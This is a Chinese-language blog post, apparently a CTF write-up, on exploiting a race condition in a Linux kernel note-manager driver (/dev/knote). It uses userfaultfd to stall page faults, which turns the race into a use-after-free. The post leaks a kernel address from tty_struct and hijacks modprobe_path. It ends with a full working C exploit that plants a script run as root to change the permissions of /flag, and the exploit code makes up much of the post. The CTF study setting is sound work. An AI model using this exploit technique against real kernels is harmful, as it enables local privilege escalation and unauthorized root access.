Loading... 本博客的第 200 篇文章,<span style='color:#FA8072'> cheer! </span> 这道题是老学长 Aris 出的,借着这道题学习了一下用 userfaultfd 机制稳定条件竞争的方法。我确实还是比较菜,又是完全照着 ha1vk 师傅的文章[linux kernel pwn学习之条件竞争(二)userfaultfd](https://blog.csdn.net/seaaseesa/article/details/104650794?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-6.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-6.control)学习的。 ### userfaultfd 机制 这个机制给予了用户自己处理缺页异常的能力,原意是提高开发的灵活度,据说在虚拟机相关的开发上很有用。在这里的利用我们只需要用它能够暂停线程执行的能力即可,所以就不深入了,具体的可以参考[ man 手册](https://man7.org/linux/man-pages/man2/userfaultfd.2.html),同时也有使用的[分析文章](http://blog.jcix.top/2018-10-01/userfaultfd_intro/) ha1vk 师傅给了一个注册 handler 的模板,俺也不懂,就照抄了 ```cpp void err_exit(char* err_msg) { puts(err_msg); exit(-1); } void register_userfault(void *fault_page,void *handler) { pthread_t thr; struct uffdio_api ua; struct uffdio_register ur; uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); ua.api = UFFD_API; ua.features = 0; if (ioctl(uffd, UFFDIO_API, &ua) == -1) err_exit("[-] ioctl-UFFDIO_API"); ur.range.start = (unsigned long)fault_page; //我们要监视的区域 ur.range.len = PAGE_SIZE; ur.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理 //当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作 err_exit("[-] ioctl-UFFDIO_REGISTER"); //开一个线程,接收错误的信号,然后处理 int s = pthread_create(&thr, NULL,handler, (void*)uffd); if (s!=0) err_exit("[-] pthread_create"); } ``` 然后是 handler 的写法,开头是一些模板化的操作 ```cpp void* userfaultfd_leak_handler(void* arg) { struct uffd_msg msg; unsigned long uffd = (unsigned long) arg; struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); ``` 定义一个 uffd_msg 类型的结构体在未来接受消息。 需要一个 pollfd 类型的结构体提供给轮询操作,其 fd 设置为传入的 arg,events 设置为 POLLIN。然后执行 `poll(&pollfd, 1, -1);` 来进行轮询,这个函数会一直进行轮询,直到出现缺页错误。 然后需要处理缺页 ```cpp sleep(3); if (nready != 1) { ErrExit("[-] Wrong poll return val"); } nready = read(uffd, &msg, sizeof(msg)); if (nready <= 0) { ErrExit("[-] msg err"); } char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) { ErrExit("[-] mmap err"); } struct uffdio_copy uc; // init page memset(page, 0, sizeof(page)); uc.src = (unsigned long) page; uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1); uc.len = PAGE_SIZE; uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); puts("[+] leak handler done"); return NULL; } ``` 注意在开头加入了 sleep 操作,在 poll 结束返回时就代表着出现了缺页了,此时 sleep 就可以起到暂停线程的效果。然后进行一些判断什么的,并 mmap 一个页给缺页的页,都是模板化的操作。此处 mmap 的内存在缺页时有自己的处理函数,所以不会一直套娃地缺页下去。 我们这里在遇到返回值错误的时候就直接错误退出了,在工程上应该会讲究一些,还会在外面套一个大死循环什么的,这里就不多说了,毕竟我们只需要利用它把线程暂停就可以了。 ### 分析 驱动主要注册了 ioctl 操作,实现了一个笔记管理器,有增删查改的功能。除了 edit 和 get 操作之外每个操作都有锁保护,所以不难想到在 edit 和 get 中可能存在条件竞争 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/2511554803.png "></div> *edit 和 get 只在拷贝方向上有区别,就不放 get 了* 以 edit 为例,由于执行时没有加锁,所以 edit 操作遇到中断时,别的操作也可以访问、修改 edit 使用到的全局变量。如果在执行 `copy_user_generic_unrolled(v1, mychunk.ptr, v2->_anon_0.size)` 前,edit 线程被中断,buf[v0].ptr 被别的线程修改(**注意这里不是指 ptr 被修改,而是指 ptr 指向的内存的所有者被修改**),那么就会把 mychunk.ptr 中的数据复制到一个非法的地址中。当然由于一个复制的操作执行起来很快,这种被修改的可能性比较小,但是如果有了 userfaultfd,就可以延长此线程的执行时间,给予别的线程足够的时间来修改 buf[v0].ptr。 具体的来说,我们用 mmap 来申请 mychunk.ptr 所指向的内存块,此时此内存块还未分配物理页框,我们为它注册一个 userfaultfd handler,在这个 handler 中我们用 sleep 暂停此线程的执行一段时间,然后在执行 `copy_user_generic_unrolled` 的时候就会触发缺页异常,执行我们的 handler,这段时间别的线程使用 dele 方法把 buf[v0].ptr kfree 掉,handler 结束后就可以实现 UAF 了。 get 也可以用同样的方法利用。 ### 利用 既然能通过条件竞争创造 UAF,那么利用其实就相对容易了,一般可以考虑通过 tty_struct attack 实现提权,当然这种方法比较繁琐,ha1vk 提到了一个更加容易的利用方式,即劫持 modprobe_path 的方法。此方法的详细介绍可以参考[这篇文章(英文)](https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/)也有[翻译版本](https://www.secpulse.com/archives/153929.html)。简单的来说就是在我们通过 system 函数执行一个未知格式(即无法识别魔数)的文件时,内核会以 root 权限执行 modprobe_path 路径(此路径默认为 `/sbin/modprobe`)指向的文件,如果我们能把 modprobe_path 修改为我们的恶意脚本的路径,然后通过 system 执行一个未知格式文件,就可以以 root 权限执行一些指令,就可以实现利用了。 那么做法就是先通过 UAF leak 出 modprobe_path 的地址,tty_struct 中存储了大量内核地址,可以通过其中的数据来泄露并计算得出。 然后再通过一个 UAF 修改一个空闲 chunk 的 next 指针,通过类似 tcache poisoning 的手段覆写 modprobe_path,使之指向一个我们提供的恶意脚本,修改 flag 的权限为所有用户可读即可得到 flag。 ### exp ```cpp #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <poll.h> #include <string.h> #include <assert.h> #include <linux/userfaultfd.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <sys/mman.h> #define PAGE_SIZE 0x1000 #define TTY_STRUCT_SIZE 0x2E0 size_t modprobe_path; struct CHUNK { union { unsigned int size; unsigned int idx; }; char* buf; }; void get(int fd, char* buf, int idx) { struct CHUNK arg; arg.idx = idx; arg.buf = buf; ioctl(fd, 0x2333, &arg); } void edit(int fd, char* buf, int idx) { struct CHUNK arg; arg.idx = idx; arg.buf = buf; ioctl(fd, 0x8888, &arg); } void dele(int fd, int idx) { struct CHUNK arg; arg.idx = idx; arg.buf = NULL; ioctl(fd, 0x6666, &arg); } void add(int fd, int size) { struct CHUNK arg; arg.size = size; arg.buf = NULL; ioctl(fd, 0x1337, &arg); } void ErrExit(char* err_msg) { puts(err_msg); exit(-1); } void RegisterUserfault(void *fault_page,void *handler) { pthread_t thr; struct uffdio_api ua; struct uffdio_register ur; uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); ua.api = UFFD_API; ua.features = 0; if (ioctl(uffd, UFFDIO_API, &ua) == -1) ErrExit("[-] ioctl-UFFDIO_API"); ur.range.start = (unsigned long)fault_page; //我们要监视的区域 ur.range.len = PAGE_SIZE; ur.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作 ErrExit("[-] ioctl-UFFDIO_REGISTER"); //开一个线程,接收错误的信号,然后处理 int s = pthread_create(&thr, NULL,handler, (void*)uffd); if (s!=0) ErrExit("[-] pthread_create"); } void* userfaultfd_leak_handler(void* arg) { struct uffd_msg msg; unsigned long uffd = (unsigned long) arg; puts("[+] leak handler created"); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); sleep(3); if (nready != 1) { ErrExit("[-] Wrong poll return val"); } nready = read(uffd, &msg, sizeof(msg)); if (nready <= 0) { ErrExit("[-] msg err"); } char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) { ErrExit("[-] mmap err"); } struct uffdio_copy uc; // init page memset(page, 0, sizeof(page)); uc.src = (unsigned long) page; uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1); uc.len = PAGE_SIZE; uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); puts("[+] leak handler done"); return NULL; } void* userfaultfd_haijack_next_ptr_handler(void* arg) { struct uffd_msg msg; unsigned long uffd = (unsigned long) arg; puts("[+] write handler created"); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); sleep(3); if (nready != 1) { ErrExit("[-] Wrong poll return val"); } nready = read(uffd, &msg, sizeof(msg)); if (nready <= 0) { ErrExit("[-] msg err"); } char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) { ErrExit("[-] mmap err"); } struct uffdio_copy uc; // init page memset(page, 0, sizeof(page)); memcpy(page, &modprobe_path, 8); uc.src = (unsigned long) page; uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1); uc.len = PAGE_SIZE; uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); puts("[+] leak handler done"); return NULL; } int main() { int knote_fd = open("/dev/knote", O_RDWR); if (knote_fd < 0) { ErrExit("[-] knote open failed"); } // leak kernel addr; add(knote_fd, TTY_STRUCT_SIZE); size_t* leaked_data_buf = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (leaked_data_buf == MAP_FAILED) { ErrExit("[-] map err"); } RegisterUserfault(leaked_data_buf, userfaultfd_leak_handler); int pid = fork(); if (pid < 0) { ErrExit("[-] fork err"); } else if(pid == 0) { // child sleep(1); dele(knote_fd, 0); int tty_fd = open("/dev/ptmx", O_RDWR); if (tty_fd < 0) { ErrExit("[-] err open ptmx"); } close(tty_fd); exit(0); } else { // parent get(knote_fd, (char*)leaked_data_buf, 0); if (leaked_data_buf[74] == 0) { ErrExit("[-] leaking err"); } // for (int i = 0; i < 0x60; i++) // { // printf("%d: %lx\n", i, ((size_t *)leaked_data_buf)[i]); // } size_t release_one_tty_addr = leaked_data_buf[74]; modprobe_path = release_one_tty_addr + 0xE88A30; printf("[+] leaked release_one_tty_addr: 0x%lx\n", release_one_tty_addr); printf("[+] leaked modprobe_path_addr: 0x%lx\n", modprobe_path); } sleep(2); // write modprobe_path to a next ptr add(knote_fd, 0x100); // idx 0 size_t* write_buf = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (leaked_data_buf == MAP_FAILED) { ErrExit("[-] map err"); } RegisterUserfault(write_buf, userfaultfd_haijack_next_ptr_handler); pid = fork(); if (pid < 0) { ErrExit("[-] fork err"); } else if(pid == 0) { // child sleep(1); dele(knote_fd, 0); // cause UAF exit(0); } else { edit(knote_fd, (char*)write_buf, 0); // UAF } // haijack modprobe_path sleep(2); char script_path[0x100]; add(knote_fd, 0x100); // idx: 0 add(knote_fd, 0x100); // dup to modprobe_path // idx: 1 strcpy(script_path, "/tmp/get_flag.sh"); edit(knote_fd, script_path, 1); // modprobe_path -> /tmp/get_flag.sh system("mkdir -p /tmp"); system("echo '#!/bin/sh' > /tmp/get_flag.sh"); system("echo 'chmod 777 /flag' >> /tmp/get_flag.sh"); system("chmod +x /tmp/get_flag.sh"); system("echo -e '\\xFF\\xFF\\xFF\\xFF' > /tmp/fake_elf"); system("chmod +x /tmp/fake_elf"); system("/tmp/fake_elf"); system("cat /flag"); sleep(3); return 0; } ``` 虽然使用了 userfaultfd 来提高竞争的成功率,但是仍然需要多次尝试才能成功 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/3531645761.png "></div> 最后修改:2021 年 07 月 19 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 4 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧